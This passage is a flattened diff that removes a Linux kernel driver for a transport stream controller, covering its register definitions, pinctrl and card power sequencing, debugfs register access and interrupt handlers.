+- * This program is distributed in the hope that it will be useful, +- * but WITHOUT ANY WARRANTY; without even the implied warranty of +- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- * GNU General Public License for more details. +- */ +- +-#include +-#include +-#include +-#include /* Device drivers need this */ +-#include /* Char device drivers need that */ +-#include /* for KERN_INFO */ +-#include +-#include /* for completion signaling after interrupts */ +-#include /* for copy from/to user in the ioctls */ +-#include +-#include +-#include /* parsing device tree data */ +-#include +-#include +-#include /* gpios definitions */ +-#include /* pinctrl API */ +-#include +-#include /* wait() macros, sleeping */ +-#include /* Externally defined globals */ +-#include /* poll() file op */ +-#include /* IO macros */ +-#include +-#include /* ion_map_iommu */ +-#include +-#include +-#include /* kfree, kzalloc */ +-#include /* debugfs support */ +-#include /* debugfs support */ +-#include /* debugfs support */ +-#include /* gdsc */ +-#include /* bus client */ +-#include /* usleep function */ +-/* TODO: include after MCU is mainlined */ +- +-/* +- * General defines +- */ +-#define TEST_BIT(pos, number) (number & (1 << pos)) +-#define CLEAR_BIT(pos, number) (number &= ~(1 << pos)) +-#define SET_BIT(pos, number) (number |= 1 << pos) +- +-/* +- * extract bits [@b0:@b1] (inclusive) from the value @x +- * it should be @b0 <= @b1, or result is incorrect +- */ +-static inline u32 GETL_BITS(u32 x, int b0, int b1) +-{ +- return (x >> b0) & ((1 << (b1 - b0 + 1)) - 1); +-} +- +-/* Bypass VBIF/IOMMU for debug and bring-up purposes */ +-static int tsc_iommu_bypass; /* defualt=0 using iommu */ +-module_param(tsc_iommu_bypass, int, S_IRUGO | S_IWUSR | S_IWGRP); +- +-/* The rate of the clock that control TS from TSC to the CAM */ +-#define CICAM_CLK_RATE_12MHZ 12000000 +-#define CICAM_CLK_RATE_9MHZ 8971962 +-#define CICAM_CLK_RATE_7MHZ 7218045 +-/* Rates for TSC serial and parallel clocks */ +-#define TSC_SER_CLK_RATE 192000000 +-#define TSC_PAR_CLK_RATE 24000000 +- +-/* CICAM address space according to CI specification */ +-#define CICAM_MAX_ADDRESS 3 +- +-/* +- * TSC register offsets +- */ +-#define TSC_HW_VERSION (0x0) +-#define TSC_MUX_CFG (0x4) /* Muxs config */ +-#define TSC_IN_IFC_EXT (0x8) /* External demods tsifs */ +-#define TSC_IN_IFC_CFG_INT (0xc) /* internal demods and +- cicam tsif config */ +-#define TSC_FSM_STATE (0x50) /* Read FSM state */ +-#define TSC_FSM_STATE_MASK (0x54) /* Config FSM state */ +-#define TSC_CAM_CMD (0x1000)/* Config cam commands */ +-#define TSC_CAM_RD_DATA (0x1004)/* read data for single-mode +- byte */ +-#define TSC_STAT (0x1008)/* Interrupts status */ +-#define TSC_IRQ_ENA (0x100C)/* Enable interrupts */ +-#define TSC_IRQ_CLR (0x1010)/* Clear interrupts */ +-#define TSC_CIP_CFG (0x1014)/* Enable HW polling */ +-#define TSC_CD_STAT (0x1020)/* Card pins status */ +-#define TSC_RD_BUFF_ADDR (0x1024)/* Vbif address for read +- buffer */ +-#define TSC_WR_BUFF_ADDR (0x1028)/* Vbif address for write +- buffer */ +-#define TSC_FALSE_CD (0x102C)/* Counter of false card +- detection */ +-#define TSC_FALSE_CD_CLR (0x1030)/* Clear false cd counter */ +-#define TSC_RESP_ERR (0x1034)/* State of read/write buffer +- error */ +-#define TSC_CICAM_TSIF (0x1038)/* Enable tsif (tsc->cam) */ +- +- +-/* +- * Registers structure definitions +- */ +- +-/* TSC_MUX_CFG */ +-#define MUX_EXTERNAL_DEMOD_0 0 +-#define MUX_EXTERNAL_DEMOD_1 1 +-#define MUX_INTERNAL_DEMOD 2 +-#define MUX_CICAM 3 +-#define MUX0_OFFS 0 +-#define MUX1_OFFS 2 +-#define MUX_CAM_OFFS 4 +- +-/* TSC_IN_IFC_EXT and TSC_IN_IFC_CFG_INT*/ +-#define TSIF_INPUT_ENABLE 0 +-#define TSIF_INPUT_DISABLE 1 +- +-#define TSIF_CLK_POL_OFFS 0 +-#define TSIF_DATA_POL_OFFS 1 +-#define TSIF_START_POL_OFFS 2 +-#define TSIF_VALID_POL_OFFS 3 +-#define TSIF_ERROR_POL_OFFS 4 +-#define TSIF_SER_PAR_OFFS 5 +-#define TSIF_REC_MODE_OFFS 6 +-#define TSIF_DATA_SWAP_OFFS 8 +-#define TSIF_DISABLE_OFFS 9 +-#define TSIF_ERR_INSERT_OFFS 10 +- +-/* TSC_FSM_STATE and TSC_FSM_STATE_MASK*/ +-#define FSM_STATE_BUFFER_BEG 0 +-#define FSM_STATE_BUFFER_END 3 +-#define FSM_STATE_POLL_BEG 8 +-#define FSM_STATE_POLL_END 10 +-#define FSM_STATE_BYTE_BEG 12 +-#define FSM_STATE_BYTE_END 13 +-#define FSM_STATE_MEM_WR_BEG 16 +-#define FSM_STATE_MEM_WR_END 17 +-#define FSM_STATE_MEM_RD_BEG 20 +-#define FSM_STATE_MEM_RD_END 21 +-#define FSM_STATE_IO_RD_BEG 24 +-#define FSM_STATE_IO_RD_END 25 +-#define FSM_STATE_IO_WR_BEG 28 +-#define FSM_STATE_IO_WR_END 29 +- +-/* TSC_CAM_CMD */ +-#define MEMORY_TRANSACTION 0 +-#define IO_TRANSACTION 1 +-#define WRITE_TRANSACTION 0 +-#define READ_TRANSACTION 1 +-#define SINGLE_BYTE_MODE 0 +-#define BUFFER_MODE 1 +- +-#define CAM_CMD_ADDR_SIZE_OFFS 0 +-#define CAM_CMD_WR_DATA_OFFS 16 +-#define CAM_CMD_IO_MEM_OFFS 24 +-#define CAM_CMD_RD_WR_OFFS 25 +-#define CAM_CMD_BUFF_MODE_OFFS 26 +-#define CAM_CMD_ABORT 27 +- +-/* TSC_STAT, TSC_IRQ_ENA and TSC_IRQ_CLR */ +-#define CAM_IRQ_EOT_OFFS 0 +-#define CAM_IRQ_POLL_OFFS 1 +-#define CAM_IRQ_RATE_MISMATCH_OFFS 2 +-#define CAM_IRQ_ERR_OFFS 3 +-#define CAM_IRQ_ABORTED_OFFS 4 +- +-/* TSC_CD_STAT */ +-#define TSC_CD_STAT_INSERT 0x00 +-#define TSC_CD_STAT_ERROR1 0x01 +-#define TSC_CD_STAT_ERROR2 0x02 +-#define TSC_CD_STAT_REMOVE 0x03 +- +-#define TSC_CD_BEG 0 +-#define TSC_CD_END 1 +- +-/* TSC_CICAM_TSIF */ +-#define TSC_CICAM_TSIF_OE_OFFS 0 +- +-/* Data structures */ +- +-/** +- * enum transaction_state - states for the transacation interrupt reason +- */ +-enum transaction_state { +- BEFORE_TRANSACTION = 0, +- TRANSACTION_SUCCESS = 1, +- TRANSACTION_ERROR = -1, +- TRANSACTION_CARD_REMOVED = -2 +-}; +- +-/** +-* enum pcmcia_state - states for the pcmcia pinctrl states +-* Note: the numbers here corresponds to the numbers of enum tsc_cam_personality +-* in tsc.h file. +-*/ +-enum pcmcia_state { +- PCMCIA_STATE_DISABLE = 0, +- PCMCIA_STATE_CI_CARD = 1, +- PCMCIA_STATE_CI_PLUS = 2, +- PCMCIA_STATE_PC_CARD = 3 +-}; +- +-/** +- * struct iommu_info - manage all the iommu information +- * +- * @group: TSC IOMMU group. +- * @domain: TSC IOMMU domain. +- * @domain_num: TSC IOMMU domain number. +- * @partition_num: TSC iommu partition number. +- * @ion_client: TSC IOMMU client. +- * @iommu_group_name TSC IOMMU group name. +- */ +-struct iommu_info { +- struct iommu_group *group; +- struct iommu_domain *domain; +- int domain_num; +- int partition_num; +- struct ion_client *ion_client; +- const char *iommu_group_name; +-}; +- +-/** +- * struct pinctrl_current_state - represent which TLMM pins currently active +- * +- * @ts0: true if TS-in 0 is active, false otherwise. +- * @ts1: true if TS-in 1 is active, false otherwise. +- * @pcmcia_state: Represent the pcmcia pins state. +- */ +-struct pinctrl_current_state { +- bool ts0; +- bool ts1; +- enum pcmcia_state pcmcia_state; +-}; +-/** +- * struct pinctrl_info - manage all the pinctrl information +- * +- * @pinctrl: TSC pinctrl state holder. +- * @disable: pinctrl state to disable all the pins. +- * @ts0: pinctrl state to activate TS-in 0 alone. +- * @ts1: pinctrl state to activate TS-in 1 alone. +- * @dual_ts: pinctrl state to activate both TS-in. +- * @pc_card: pinctrl state to activate pcmcia upon card insertion. +- * @ci_card: pinctrl state to activate pcmcia after personality +- * change to CI card. +- * @ci_plus: pinctrl state to activate pcmcia after personality +- * change to CI+ card. +- * @ts0_pc_card: pinctrl state to activate TS-in 0 and pcmcia upon card +- * insertion. +- * @ts0_ci_card: pinctrl state to activate TS-in 0 and pcmcia after +- * personality change to CI card. +- * @ts0_ci_plus: pinctrl state to activate TS-in 0 and pcmcia after +- * personality change to CI+ card. +- * @ts1_pc_card: pinctrl state to activate TS-in 1 and pcmcia upon card +- * insertion. +- * @ts1_ci_card: pinctrl state to activate TS-in 1 and pcmcia after +- * personality change to CI card. +- * @ts1_ci_plus: pinctrl state to activate TS-in 1 and pcmcia after +- * personality change to CI+ card. +- * @dual_ts_pc_card: pinctrl state to activate both TS-in and pcmcia upon +- * card insertion. +- * @dual_ts_ci_card: pinctrl state to activate both TS-in and pcmcia after +- * personality change to CI card. +- * @dual_ts_ci_plus: pinctrl state to activate both TS-in and pcmcia after +- * personality change to CI+ card. +- * @is_ts0: true if ts0 pinctrl states exist in device tree, false +- * otherwise. +- * @is_ts1: true if ts1 pinctrl states exist in device tree, false +- * otherwise. +- * @is_pcmcia: true if pcmcia pinctrl states exist in device tree, +- * false otherwise. +- * @curr_state: the current state of the TLMM pins. +- */ +-struct pinctrl_info { +- struct pinctrl *pinctrl; +- struct pinctrl_state *disable; +- struct pinctrl_state *ts0; +- struct pinctrl_state *ts1; +- struct pinctrl_state *dual_ts; +- struct pinctrl_state *pc_card; +- struct pinctrl_state *ci_card; +- struct pinctrl_state *ci_plus; +- struct pinctrl_state *ts0_pc_card; +- struct pinctrl_state *ts0_ci_card; +- struct pinctrl_state *ts0_ci_plus; +- struct pinctrl_state *ts1_pc_card; +- struct pinctrl_state *ts1_ci_card; +- struct pinctrl_state *ts1_ci_plus; +- struct pinctrl_state *dual_ts_pc_card; +- struct pinctrl_state *dual_ts_ci_card; +- struct pinctrl_state *dual_ts_ci_plus; +- bool is_ts0; +- bool is_ts1; +- bool is_pcmcia; +- struct pinctrl_current_state curr_state; +-}; +- +-/** +- * struct tsc_mux_chdev - TSC Mux character device +- * +- * @cdev: TSC Mux cdev. +- * @mutex: A mutex for mutual exclusion between Mux API calls. +- * @poll_queue: Waiting queue for rate mismatch interrupt. +- * @spinlock: A spinlock to protect accesses to +- * data structures that happen from APIs and ISRs. +- * @rate_interrupt: A flag indicating if rate mismatch interrupt received. +- */ +-struct tsc_mux_chdev { +- struct cdev cdev; +- struct mutex mutex; +- wait_queue_head_t poll_queue; +- spinlock_t spinlock; +- bool rate_interrupt; +-}; +- +-/** +- * struct tsc_ci_chdev - TSC CI character device +- * +- * @cdev: TSC CI cdev. +- * @mutex: A mutex for mutual exclusion between CI API calls. +- * @poll_queue: Waiting queue for card detection interrupt. +- * @spinlock: A spinlock to protect accesses to data structures that +- * happen from APIs and ISRs. +- * @transaction_complete: A completion struct indicating end of data +- * transaction. +- * @transaction_finish: A completion struct indicating data transaction func +- * has finished. +- * @transaction_state: flag indicating the reason for transaction end. +- * @ci_card_status: The last card status received by the upper layer. +- * @data_busy: true when the device is in the middle of data +- * transaction operation, false otherwise. +- */ +-struct tsc_ci_chdev { +- struct cdev cdev; +- struct mutex mutex; +- wait_queue_head_t poll_queue; +- spinlock_t spinlock; +- struct completion transaction_complete; +- struct completion transaction_finish; +- enum transaction_state transaction_state; +- enum tsc_card_status card_status; +- bool data_busy; +-}; +- +-/** +- * struct tsc_device - TSC device +- * +- * @pdev: TSC platform device. +- * @device_mux: Mux device for sysfs and /dev entry. +- * @device_ci: CI device for sysfs and /dev entry. +- * @mux_chdev: TSC Mux character device instance. +- * @ci_chdev: TSC CI character device instance. +- * @mux_device_number: TSC Mux major number. +- * @ci_device_number: TSC CI major number. +- * @num_mux_opened: A counter to ensure 1 TSC Mux character device. +- * @num_ci_opened: A counter to ensure 1 TSC CI character device. +- * @num_device_open: A counter to synch init of power and bus voting. +- * @mutex: Global mutex to to synch init of power and bus voting. +- * @base: Base memory address for the TSC registers. +- * @card_detection_irq: Interrupt No. of the card detection interrupt. +- * @cam_cmd_irq: Interrupt No. of the cam cmd interrupt. +- * @iommu_info: TSC IOMMU parameters. +- * @ahb_clk: The clock for accessing the TSC registers. +- * @ci_clk: The clock for TSC internal logic. +- * @ser_clk: The clock for synchronizing serial TS input. +- * @par_clk: The clock for synchronizing parallel TS input. +- * @cicam_ts_clk: The clock for pushing TS data into the cicam. +- * @tspp2_core_clk: The clock for enabling the TSPP2. +- * @vbif_tspp2_clk: The clock for accessing the VBIF. +- * @vbif_ahb_clk: The clock for VBIF AHB. +- * @vbif_axi_clk: The clock for VBIF AXI. +- * @gdsc: The Broadcast GDSC. +- * @bus_client: The TSC bus client. +- * @pinctrl_info: TSC pinctrl parameters. +- * @reset_cam_gpio: GPIO No. for CAM HW reset. +- * @hw_card_status: The card status as reflected by the HW registers. +- * @card_power: True if the card is powered up, false otherwise. +- * @debugfs_entry: TSC device debugfs entry. +- */ +-struct tsc_device { +- struct platform_device *pdev; +- struct device *device_mux; +- struct device *device_ci; +- struct tsc_mux_chdev mux_chdev; +- struct tsc_ci_chdev ci_chdev; +- dev_t mux_device_number; +- dev_t ci_device_number; +- int num_mux_opened; +- int num_ci_opened; +- int num_device_open; +- struct mutex mutex; +- void __iomem *base; +- unsigned int card_detection_irq; +- unsigned int cam_cmd_irq; +- struct iommu_info iommu_info; +- struct clk *ahb_clk; +- struct clk *ci_clk; +- struct clk *ser_clk; +- struct clk *par_clk; +- struct clk *cicam_ts_clk; +- struct clk *tspp2_core_clk; +- struct clk *vbif_tspp2_clk; +- struct clk *vbif_ahb_clk; +- struct clk *vbif_axi_clk; +- struct regulator *gdsc; +- uint32_t bus_client; +- struct pinctrl_info pinctrl_info; +- int reset_cam_gpio; +- enum tsc_card_status hw_card_status; +- bool card_power; +- struct dentry *debugfs_entry; +-}; +- +-/* Global TSC device class */ +-static struct class *tsc_class; +- +-/* Global TSC device database */ +-static struct tsc_device *tsc_device; +- +-/************************** Debugfs Support **************************/ +-/* debugfs entries */ +-#define TSC_S_RW (S_IRUGO | S_IWUSR) +- +-struct debugfs_entry { +- const char *name; +- mode_t mode; +- int offset; +-}; +- +-static const struct debugfs_entry tsc_regs_32[] = { +- {"tsc_hw_version", S_IRUGO, TSC_HW_VERSION}, +- {"tsc_mux", TSC_S_RW, TSC_MUX_CFG}, +- {"tsif_external_demods", TSC_S_RW, TSC_IN_IFC_EXT}, +- {"tsif_internal_demod_cam", TSC_S_RW, TSC_IN_IFC_CFG_INT}, +- {"tsc_fsm_state", S_IRUGO, TSC_FSM_STATE}, +- {"tsc_fsm_state_mask", TSC_S_RW, TSC_FSM_STATE_MASK}, +- {"tsc_cam_cmd", TSC_S_RW, TSC_CAM_CMD}, +- {"tsc_rd_buff_addr", TSC_S_RW, TSC_RD_BUFF_ADDR}, +- {"tsc_wr_buff_addr", TSC_S_RW, TSC_WR_BUFF_ADDR}, +-}; +- +-static const struct debugfs_entry tsc_regs_16[] = { +- {"tsc_false_cd_counter", S_IRUGO, TSC_FALSE_CD}, +- {"tsc_cicam_tsif", TSC_S_RW, TSC_CICAM_TSIF}, +-}; +- +-static const struct debugfs_entry tsc_regs_8[] = { +- {"tsc_cam_rd_data", S_IRUGO, TSC_CAM_RD_DATA}, +- {"tsc_irq_stat", S_IRUGO, TSC_STAT}, +- {"tsc_irq_ena", TSC_S_RW, TSC_IRQ_ENA}, +- {"tsc_irq_clr", TSC_S_RW, TSC_IRQ_CLR}, +- {"tsc_ena_hw_poll", TSC_S_RW, TSC_CIP_CFG}, +- {"tsc_card_stat", TSC_S_RW, TSC_CD_STAT}, +- {"tsc_false_cd_counter_clr", TSC_S_RW, TSC_FALSE_CD_CLR}, +- {"tsc_last_error_resp", S_IRUGO, TSC_RESP_ERR}, +-}; +- +-/* debugfs settings */ +-static int debugfs_iomem_set(void *data, u64 val) +-{ +- if (mutex_lock_interruptible(&tsc_device->mutex)) +- return -ERESTARTSYS; +- +- if (!tsc_device->num_device_open) { +- mutex_unlock(&tsc_device->mutex); +- return -ENXIO; +- } +- +- mutex_unlock(&tsc_device->mutex); +- +- writel_relaxed(val, data); +- wmb(); +- +- return 0; +-} +- +-static int debugfs_iomem_get(void *data, u64 *val) +-{ +- if (mutex_lock_interruptible(&tsc_device->mutex)) +- return -ERESTARTSYS; +- +- if (!tsc_device->num_device_open) { +- mutex_unlock(&tsc_device->mutex); +- return -ENXIO; +- } +- +- mutex_unlock(&tsc_device->mutex); +- +- *val = readl_relaxed(data); +- +- return 0; +-} +- +-DEFINE_SIMPLE_ATTRIBUTE(fops_iomem_x32, debugfs_iomem_get, +- debugfs_iomem_set, "0x%08llX"); +-DEFINE_SIMPLE_ATTRIBUTE(fops_iomem_x16, debugfs_iomem_get, +- debugfs_iomem_set, "0x%04llX"); +-DEFINE_SIMPLE_ATTRIBUTE(fops_iomem_x8, debugfs_iomem_get, +- debugfs_iomem_set, "0x%02llX"); +- +-/** +- * tsc_debugfs_init() - TSC device debugfs initialization. +- */ +-static void tsc_debugfs_init(void) +-{ +- int i; +- struct dentry *dentry; +- void __iomem *base = tsc_device->base; +- +- tsc_device->debugfs_entry = debugfs_create_dir("tsc", NULL); +- if (!tsc_device->debugfs_entry) +- return; +- dentry = debugfs_create_dir("regs", tsc_device->debugfs_entry); +- if (dentry) { +- for (i = 0; i < ARRAY_SIZE(tsc_regs_32); i++) { +- debugfs_create_file( +- tsc_regs_32[i].name, +- tsc_regs_32[i].mode, +- dentry, +- base + tsc_regs_32[i].offset, +- &fops_iomem_x32); +- } +- for (i = 0; i < ARRAY_SIZE(tsc_regs_16); i++) { +- debugfs_create_file( +- tsc_regs_16[i].name, +- tsc_regs_16[i].mode, +- dentry, +- base + tsc_regs_16[i].offset, +- &fops_iomem_x16); +- } +- for (i = 0; i < ARRAY_SIZE(tsc_regs_8); i++) { +- debugfs_create_file( +- tsc_regs_8[i].name, +- tsc_regs_8[i].mode, +- dentry, +- base + tsc_regs_8[i].offset, +- &fops_iomem_x8); +- } +- } +-} +- +-/** +- * tsc_debugfs_exit() - TSC device debugfs teardown. +- */ +-static void tsc_debugfs_exit(void) +-{ +- debugfs_remove_recursive(tsc_device->debugfs_entry); +- tsc_device->debugfs_entry = NULL; +-} +- +-/** +- * tsc_update_hw_card_status() - Update the hw_status according to the HW reg. +- * +- * Read the register indicating the card status (inserted, removed, error) and +- * update the tsc_device->hw_card_status accordingly. +- */ +-static void tsc_update_hw_card_status(void) +-{ +- u32 cd_reg, card_status = 0; +- +- cd_reg = readl_relaxed(tsc_device->base + TSC_CD_STAT); +- card_status = GETL_BITS(cd_reg, TSC_CD_BEG, TSC_CD_END); +- switch (card_status) { +- case TSC_CD_STAT_INSERT: +- tsc_device->hw_card_status = TSC_CARD_STATUS_DETECTED; +- break; +- case TSC_CD_STAT_ERROR1: +- case TSC_CD_STAT_ERROR2: +- tsc_device->hw_card_status = TSC_CARD_STATUS_FAILURE; +- break; +- case TSC_CD_STAT_REMOVE: +- tsc_device->hw_card_status = TSC_CARD_STATUS_NOT_DETECTED; +- break; +- } +-} +- +-/** +- * tsc_card_power_down() - power down card interface upon removal. +- * +- * Power down the card by disable VPP, disable pins in the TLMM, assert the +- * reset line and disable the level-shifters. This function assumes the spinlock +- * of ci device is already taken. +- * +- * Return 0 on finish, error value if interrupted while acquiring a mutex. +- */ +-static int tsc_card_power_down(void) +-{ +- int ret = 0; +- struct pinctrl_info *ppinctrl = &tsc_device->pinctrl_info; +- struct pinctrl_current_state *pcurr_state = &ppinctrl->curr_state; +- int reset_gpio = tsc_device->reset_cam_gpio; +- u32 reg = 0; +- +- /* Clearing CAM TSIF OE to disable I/O CAM transactions */ +- CLEAR_BIT(TSC_CICAM_TSIF_OE_OFFS, reg); +- writel_relaxed(reg, tsc_device->base + TSC_CICAM_TSIF); +- +- /* Assert the reset line */ +- ret = gpio_direction_output(reset_gpio, 1); /* assert */ +- if (ret != 0) +- pr_err("%s: Failed to assert the reset CAM GPIO\n", __func__); +- +- /* Disable all the level-shifters */ +- /* TODO: call mpq_standby_pcmcia_master0_set(0) after MCU mainlined */ +- if (ret != 0) +- pr_err("%s: error disable master0 level-shifters. ret value = %d\n", +- __func__, ret); +- /* TODO: call mpq_standby_pcmcia_master1_set(1) after MCU mainlined */ +- if (ret != 0) +- pr_err("%s: error disable master1 level-shifters. ret value = %d\n", +- __func__, ret); +- +- /* Power-down the card */ +- /* TODO: call mpq_standby_pcmcia_vpp_set(1) after MCU mainlined */ +- if (ret != 0) +- pr_err("%s: error disabling VPP. ret value = %d\n", __func__, +- ret); +- /* Wait 10msec until VPP become stable */ +- usleep(10000); +- +- /* Disable pins in the TLMM */ +- if (mutex_lock_interruptible(&tsc_device->mutex)) +- return -ERESTARTSYS; +- +- if (pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts); +- else if (pcurr_state->ts0 && !pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0); +- else if (!pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->disable); +- if (ret != 0) +- pr_err("%s: error changing PCMCIA pins upon card removal. ret value = %d\n", +- __func__, ret); +- else +- pcurr_state->pcmcia_state = PCMCIA_STATE_DISABLE; +- +- mutex_unlock(&tsc_device->mutex); +- +- return 0; +-} +- +-/** +- * tsc_card_power_up() - power up card interface upon insertion. +- * +- * Power up the card by open VPP, enable pins in the TLMM, deassert the reset +- * line and enable the level-shifters. This function assumes the spinlock of ci +- * device is already taken. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_card_power_up(void) +-{ +- int ret = 0; +- struct pinctrl_info *ppinctrl = &tsc_device->pinctrl_info; +- struct pinctrl_current_state *pcurr_state = &ppinctrl->curr_state; +- int reset_gpio = tsc_device->reset_cam_gpio; +- +- /* Power-up the card */ +- /* TODO: call mpq_standby_pcmcia_vpp_set(1) after MCU mainlined */ +- if (ret != 0) { +- pr_err("%s: error setting VPP. ret value = %d\n", __func__, +- ret); +- return ret; +- } +- /* Wait 10msec until VPP become stable */ +- usleep(10000); +- +- /* Enable pins in the TLMM */ +- if (mutex_lock_interruptible(&tsc_device->mutex)) +- return -ERESTARTSYS; +- +- if (pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts_pc_card); +- else if (pcurr_state->ts0 && !pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0_pc_card); +- else if (!pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1_pc_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->pc_card); +- if (ret != 0) { +- pr_err("%s: error changing PCMCIA pins upon card insertion. ret value = %d\n", +- __func__, ret); +- mutex_unlock(&tsc_device->mutex); +- goto err; +- } else { +- pcurr_state->pcmcia_state = PCMCIA_STATE_PC_CARD; +- } +- mutex_unlock(&tsc_device->mutex); +- +- /* Release the reset line */ +- ret = gpio_direction_output(reset_gpio, 0); /* Deassert */ +- if (ret != 0) { +- pr_err("%s: Failed to deassert the reset CAM GPIO\n", __func__); +- goto err; +- } +- +- /* Enable level-shifters for all pins */ +- /* TODO: call mpq_standby_pcmcia_master0_set(0) after MCU mainlined */ +- if (ret != 0) { +- pr_err("%s: error setting master0 level-shifters. ret value = %d\n", +- __func__, ret); +- goto err; +- } +- /* TODO: call mpq_standby_pcmcia_master1_set(0) after MCU mainlined */ +- if (ret != 0) { +- pr_err("%s: error setting master1 level-shifters. ret value = %d\n", +- __func__, ret); +- goto err; +- } +- +- /* Wait 20msec at the end of the power-up sequence */ +- usleep(20000); +- +- return ret; +- +-err: +- tsc_card_power_down(); +- return ret; +-} +- +-/************************** Interrupt handlers **************************/ +-/** +- * tsc_card_detect_irq_thread_handler() - TSC card detect interrupt handler. +- * +- * @irq: Interrupt number. +- * @dev: TSC device. +- * +- * The handler is executed on a thread context, not in the interrupt context +- * (can take a mutex and sleep). +- * Read the card detection status from the register and initiate a power-up/down +- * sequence accordingly. The sequence will occur only if a change is needed in +- * the current power state. +- * +- */ +-static irqreturn_t tsc_card_detect_irq_thread_handler(int irq, void *dev) +-{ +- int ret = 0; +- struct tsc_ci_chdev *tsc_ci; +- unsigned long flags = 0; +- +- tsc_ci = &tsc_device->ci_chdev; +- +- mutex_lock(&tsc_ci->mutex); +- +- tsc_update_hw_card_status(); +- +- /* waking-up ci poll queue */ +- wake_up_interruptible(&tsc_ci->poll_queue); +- +- /* If in the middle of a data transaction- aborting the transaction */ +- if (tsc_ci->data_busy && tsc_device->hw_card_status == +- TSC_CARD_STATUS_NOT_DETECTED) { +- spin_lock_irqsave(&tsc_ci->spinlock, flags); +- tsc_ci->transaction_state = TRANSACTION_CARD_REMOVED; +- spin_unlock_irqrestore(&tsc_ci->spinlock, flags); +- complete_all(&tsc_ci->transaction_complete); +- } +- +- if (tsc_device->hw_card_status == TSC_CARD_STATUS_DETECTED && +- !tsc_device->card_power) { +- ret = tsc_card_power_up(); +- if (ret != 0) +- pr_err("%s: card power-up failed\n", __func__); +- else +- tsc_device->card_power = true; +- } else if (tsc_device->hw_card_status == TSC_CARD_STATUS_NOT_DETECTED && +- tsc_device->card_power) { +- tsc_card_power_down(); +- /* +- * In case something failed during the power down, the sequence +- * continue and the status of the card power is considered as +- * powered down. +- */ +- tsc_device->card_power = false; +- } +- +- mutex_unlock(&tsc_ci->mutex); +- +- return IRQ_HANDLED; +-} +- +-/** +- * tsc_cam_cmd_irq_handler() - TSC CAM interrupt handler. +- * +- * @irq: Interrupt number. +- * @dev: TSC device. +- * +- * Handle TSC CAM HW interrupt. Handle the CAM transaction interrupts by waking +- * up the completion sync object, handle rate mismatch interrupt by waking-up +- * the TSC Mux poll wait-queue and clear the interrupts received. +- * +- * Return IRQ_HANDLED. +- */ +-static irqreturn_t tsc_cam_cmd_irq_handler(int irq, void *dev) +-{ +- struct tsc_ci_chdev *tsc_ci; +- struct tsc_mux_chdev *tsc_mux; +- unsigned long flags; +- u32 stat_reg, ena_reg; +- +- tsc_ci = &tsc_device->ci_chdev; +- tsc_mux = &tsc_device->mux_chdev; +- +- stat_reg = readl_relaxed(tsc_device->base + TSC_STAT); +- +- /* Handling transaction interrupts */ +- if (TEST_BIT(CAM_IRQ_ERR_OFFS, stat_reg) || +- TEST_BIT(CAM_IRQ_EOT_OFFS, stat_reg)) { +- spin_lock_irqsave(&tsc_ci->spinlock, flags); +- +- if (TEST_BIT(CAM_IRQ_EOT_OFFS, stat_reg)) +- tsc_ci->transaction_state = TRANSACTION_SUCCESS; +- else +- tsc_ci->transaction_state = TRANSACTION_ERROR; +- +- spin_unlock_irqrestore(&tsc_ci->spinlock, flags); +- complete_all(&tsc_ci->transaction_complete); +- } +- +- /* Handling rate mismatch interrupt */ +- if (TEST_BIT(CAM_IRQ_RATE_MISMATCH_OFFS, stat_reg)) { +- spin_lock_irqsave(&tsc_mux->spinlock, flags); +- +- /* Disabling rate mismatch interrupt */ +- ena_reg = readl_relaxed(tsc_device->base + TSC_IRQ_ENA); +- CLEAR_BIT(CAM_IRQ_RATE_MISMATCH_OFFS, ena_reg); +- writel_relaxed(ena_reg, tsc_device->base + TSC_IRQ_ENA); +- +- /* Setting internal flag for poll */ +- tsc_mux->rate_interrupt = true; +- +- spin_unlock_irqrestore(&tsc_mux->spinlock, flags); +- /* waking-up mux poll queue */ +- wake_up_interruptible(&tsc_mux->poll_queue); +- } +- +- /* Clearing all the interrupts received */ +- writel_relaxed(stat_reg, tsc_device->base + TSC_IRQ_CLR); +- +- /* +- * Before returning IRQ_HANDLED to the generic interrupt handling +- * framework need to make sure all operations including clearing of +- * interrupt status registers in the hardware is performed. +- * Thus a barrier after clearing the interrupt status register +- * is required to guarantee that the interrupt status register has +- * really been cleared by the time we return from this handler. +- */ +- wmb(); +- +- return IRQ_HANDLED; +-} +- +-/************************** Internal functions **************************/ +- +-/** +- * tsc_set_cicam_clk() - Setting the rate of the TS from the TSC to the CAM +- * +- * @arg: The argument received from the user-space via set rate IOCTL. +- * It is the value of the requested rate in MHz. +- * +- * Setting the rate of the cicam_ts_clk clock, with one of the valid clock +- * frequencies. The arg value given is rounded to the nearest frequency. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_set_cicam_clk(unsigned long arg) +-{ +- int ret; +- +- if (arg <= 8) +- ret = clk_set_rate(tsc_device->cicam_ts_clk, +- CICAM_CLK_RATE_7MHZ); +- else if (arg <= 11) +- ret = clk_set_rate(tsc_device->cicam_ts_clk, +- CICAM_CLK_RATE_9MHZ); +- else +- ret = clk_set_rate(tsc_device->cicam_ts_clk, +- CICAM_CLK_RATE_12MHZ); +- return ret; +-} +- +-/** +- * tsc_enable_rate_irq() - Enabling the rate mismatch interrupt. +- * +- * @tsc_mux: TSC Mux device. +- * +- * Setting the bit of this interrupt in the register that controls which +- * interrupts are enabled. +- */ +-static void tsc_enable_rate_irq(struct tsc_mux_chdev *tsc_mux) +-{ +- unsigned long flags; +- u32 ena_reg = 0; +- +- spin_lock_irqsave(&tsc_mux->spinlock, flags); +- +- /* Setting the bit to start receiving rate mismatch interrupt again */ +- ena_reg = readl_relaxed(tsc_device->base + 